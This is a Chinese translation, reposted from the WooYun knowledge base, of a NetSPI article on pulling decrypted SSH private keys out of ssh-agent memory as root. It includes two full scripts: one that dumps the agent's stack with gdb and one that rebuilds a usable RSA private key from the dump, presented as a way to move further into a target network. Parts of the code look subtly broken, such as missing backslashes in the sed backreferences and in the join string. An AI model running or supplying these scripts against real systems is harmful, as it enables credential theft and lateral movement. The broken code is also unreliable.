從記憶體中竊取未加密的SSH-agent金鑰

wyzsk發表於2020-08-19
作者: lxj616 · 2014/08/13 10:39

from:https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory

0x01 背景


如果你曾經使用過SSH金鑰來管理多臺裝置,那麼你很可能已經用過SSH-agent了。這個工具是用來在記憶體中儲存SSH金鑰的,這樣使用者就不需要每次都輸入他們的口令了。然而,這可能招致一些安全威脅。一個以root許可權執行的使用者可能足以從記憶體中取出解密後的SSH金鑰並重新構造。 由於需要root許可權,這個攻擊看上去很雞肋。比如說,一個攻擊者可以安裝一個鍵盤記錄器並用之獲取SSH金鑰。然而,這樣會導致攻擊者必須等待目標輸入他們SSH金鑰的口令。這可能要花上幾個小時,幾天,甚至幾個星期,取決於目標登出的頻率。這也是從記憶體中獲取SSH金鑰為什麼對於迅速拿下其他機器非常重要

0x02 使用 SSH-agent


使用SSH-agent的一個通用的方法是啟動"SSH-agent bash"然後用"SSH-add"把金鑰新增到agent中。一旦新增完,這個金鑰將會在SSH-agent的棧中儲存直到程式結束、另一金鑰加入、或者使用者使用SSH-add的-d或者-D選項為止。大多數人只會執行SSH-agent然後就忘掉這回事直到重啟。

0x03 從記憶體中取SSH金鑰


有很多種方式可以建立一個SSH-agents的記憶體映象。最簡單的方法是透過gdb的功能。Gdb使用了ptrace呼叫來連線SSH-agent。這給gdb提供了必要的擷取記憶體以及執行程式的許可權。grabagentmem.sh指令碼提供了一種自動化擷取記憶體的方式。預設情況下,當其執行時它會為每一個SSH-agent程式的棧建立一個記憶體映象。這些檔案被命名為SSHagent-PID.stack

[email protected]:/tmp# grabagentmem.sh 
Created /tmp/SSHagent-17019.stack 

如果gdb在系統中不可用,那麼也可以獲取整個系統的記憶體映象然後暴力解出SSH-agent程式的棧的記憶體。然而,這個做法不在我們本文的討論範圍之內。

0x04 從記憶體映象中解析出SSH金鑰


一旦我們獲得了棧的副本那麼我們就可以從這個檔案裡解析出金鑰了。然而,在這個棧中儲存的金鑰和SSH-keygen生成的金鑰格式不同。這就是parse_mem.py指令碼好用的地方。這段指令碼需要安裝pyasn1 python模組。如果安裝好了就可以用這指令碼對付記憶體檔案了。如果那個記憶體檔案中包含了一個有效的RSA SSH金鑰,那麼它將會把它儲存到硬碟上。這工具未來的版本還可能支援額外的金鑰型別,比如說DSA, ECDSA, ED25519, 和 RSA1

[email protected]:/tmp# parse_mem.py /tmp/SSHagent-17019.stack /tmp/key
Found rsa key
Creating rsa key: /tmp/key.rsa 

這個key.rsa檔案之後就可以被用來做SSH命令的-i引數,這就跟原始的使用者金鑰一模一樣,只不過不再需要口令來解鎖了。 獲取有效的,可用的SSH金鑰可以幫助滲透測試人員更加深入目標網路。金鑰常常被使用者在多個賬戶上使用。包括伺服器的root賬戶。也可能伺服器被配置為只允許金鑰登陸。擁有一個解密了的金鑰可以讓當前環境下的行動更加簡單。


附1:譯者測試截圖

enter image description here

enter image description here

附2:文中涉及指令碼

grabagentmem.sh:

#!/bin/bash

# First argument is the output directory.  Use /tmp if this is not specified.
outputdir="/tmp"

# Grab pids for each ssh-agent
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')

# Iterate through the pids and create a memory dump of the stack for each
for pid in $sshagentpids; do
    stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p')"
    startstack=$(echo $stackmem | awk '{print $1}')
    stopstack=$(echo $stackmem | awk '{print $2}')

    gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null 

    # GDB doesn't error out properly if this fails.  
    # This will provide feedback if the file is actually created
    if [ -f "$outputdir/sshagent-$pid.stack" ]; then
        echo "Created $outputdir/sshagent-$pid.stack"
    else
        echo "Error dumping memory from $pid"
    fi
done

parse_mem.py:

#!/usr/bin/python

import sys
import base64
from pyasn1.type import univ
from pyasn1.codec.der import encoder


class sshkeyparse:
    """ This class is designed to parse a memory dump of ssh-agent and create
    unencrypted ssh keys that can then be used to gain access to other
    systems"""
    keytypes = {
        'rsa': "ssh-rsa",
        'dsa': "ssh-dss",
        'ecsda': "ecdsa-sha2-nisp256",
        'ed25519': "ssh-ed25519"
    }

    def read(self, memdump):
        """ Reads a file and stories it in self.mem"""
        self.inputfile = memdump
        file = open(memdump, 'rb')
        self.mem = "".join(file.readlines())
        file.close()

    def unpack_bigint(self, buf):
        """Turn binary chunk into integer"""

        v = 0
        for c in buf:
            v *= 256
            v += ord(c)

        return v

    def search_key(self):
        """Searches for keys in self.mem"""

        keysfound = {}

        for type in self.keytypes:
            magic = self.mem.find(self.keytypes[type])

            if magic is not -1:
                keysfound[magic] = type

        if keysfound:
            print ("Found %s key" % keysfound[sorted(keysfound)[0]])
            self.mem = self.mem[sorted(keysfound)[0]:]
            self.type = keysfound[sorted(keysfound)[0]]
            return 1

        if not keysfound:
            return -1

    def getkeys(self, output):
        """ Parses for keys stored in ssh-agent's stack """

        keynum = 0
        validkey = 0

        validkey = self.search_key()
        while validkey != -1:

            if keynum == 0:
                keynum += 1
                self.create_key(output)

            else:
                keynum += 1
                self.create_key((output + "." + str(keynum)))

            validkey = self.search_key()

        if keynum == 0:
            # Did not find a valid key type
            print ("A saved key was not found in %s" % self.inputfile)
            print ("The user may not have loaded a key or the key loaded is " +
                   "not supported.")
            sys.exit(1)
        else:
            return

    # Detect type of key and run key creation
    def create_key(self, output):
        """Creates key files"""

        output = output + "." + self.type

        if self.type is "rsa":
            self.create_rsa(output)
            print ("Creating %s key: %s" % (self.type, output))
        if self.type is "dsa":
            self.create_dsa(output)
            print ("Creating %s key: %s" % (self.type, output))
        else:
            print ("%s key type is not currently supported." % self.type)
            sys.exit(3)

    def create_dsa(self, output):
        """Create DSA SSH key file"""
        if self.mem[0:7] == "ssh-dss":
            print ("DSA SSH Keys are not currently supported.")
            self.mem = self.mem[start+size:]

        else:
            print ("Error: This is not a DSA SSH key file")
            sys.exit(2)

    def create_rsa(self, output):
        """Create RSA SSH key file"""
        if self.mem[0:7] == "ssh-rsa":

            # FIXME: This needs to be cleaned up.
            start = 10
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            n = self.unpack_bigint(self.mem[start:(start+size)])
            start = start + size + 2
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            e = self.unpack_bigint(self.mem[start:(start+size)])
            start = start + size + 2
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            d = self.unpack_bigint(self.mem[start:(start+size)])
            start = start + size + 2
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            c = self.unpack_bigint(self.mem[start:(start+size)])
            start = start + size + 2
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            p = self.unpack_bigint(self.mem[start:(start+size)])
            start = start + size + 2
            size = self.unpack_bigint(self.mem[start:(start+2)])
            start += 2
            q = self.unpack_bigint(self.mem[start:(start+size)])

            e1 = d % (p - 1)
            e2 = d % (q - 1)

            self.mem = self.mem[start+size:]

        else:
            print ("Error: This is not a RSA SSH key file")
            sys.exit(2)

        seq = (
            univ.Integer(0),
            univ.Integer(n),
            univ.Integer(e),
            univ.Integer(d),
            univ.Integer(p),
            univ.Integer(q),
            univ.Integer(e1),
            univ.Integer(e2),
            univ.Integer(c),
            )

        struct = univ.Sequence()

        for i in xrange(len(seq)):
            struct.setComponentByPosition(i, seq[i])

        raw = encoder.encode(struct)
        data = base64.b64encode(raw)

        # chop data up into lines of certain width
        width = 64
        chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
        # assemble file content
        content = """-----BEGIN RSA PRIVATE KEY-----
%s
-----END RSA PRIVATE KEY-----
""" % 'n'.join(chopped)
        output = open(output, 'w')
        output.write(content)
        output.close()

# MAIN

keystart = sshkeyparse()
keystart.read(sys.argv[1])
keystart.getkeys(sys.argv[2])
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章